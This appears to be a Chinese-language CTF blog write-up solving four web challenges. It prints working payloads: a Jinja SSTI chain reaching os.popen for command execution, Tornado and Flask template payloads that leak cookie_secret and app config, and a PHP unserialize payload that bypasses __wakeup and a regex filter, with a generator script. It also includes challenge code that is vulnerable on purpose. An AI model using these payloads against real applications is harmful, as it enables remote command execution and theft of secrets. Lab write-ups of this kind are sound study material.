Web_python_template_injection
题目直接就告诉说是SSTI:
尝试注入:
执行了7*8,确实存在注入。
目前对SSTI的学习还在入门的入门,payload都是借师傅们的:
【模板注入】SSTI命令执行payload分析
命令执行payload:
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()
cat一下得到flag。
easytornado
打开题目三个txt,分别打开:
这里又了解到了 Tornado 框架 的注入。
我们直接根据flag.txt的内容访问/fllllllllllllag跳转到此页面:
同时发现msg参数可以显示出来,尝试一下:
确实存在SSTI,但是怎么利用呢。
hint.txt中给出:
md5(cookie_secret+md5(filename))
url中还有一次参数filehash,好像可以和hint联系起来。
那么接下来就是要获取cookie_secret。
后面又了解到:
cookie_secret在Application对象settings属性中。
handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings。
一系列不理解的东西。
总之,获取 cookie_secret ,payload:
/error?msg={{handler.settings}}
然后计算,传入值,获得flag。
shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
打开直接就是flask框架的代码,这里有两个路由:
/
/shrine/
然后对()进行了过滤
payload:
{{url_for.__globals__['current_app'].config}}
总结一下这三道SSTI:
太菜了,啥都不会,后面尽全力了解一下SSTI。
Web_php_unserialize
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
反序列化题目,分析一下代码。
构造函数__construct()在程序执行开始的时候对变量进行赋初值。
析构函数__destruct(),在对象所在函数执行完成之后,会自动调用。
在反序列化执行之前,会先执行__wakeup这个魔术方法
利用__destruct()显示fl4g.php,绕过__wakeup,当成员属性数目大于实际数目时可绕过wakeup方法。
正则绕过,使用+绕过。
private对象使用过程中,格式为:
%00类名%00变量名(%00占一位长度)
所以,构造payload:
O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
这里还要对值进行了base64加密,但是,在使用一些base64加密网站时,%00会被丢掉,所以这里最好使用一些脚本进行加密。
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
要注意的就是%00丢失的问题。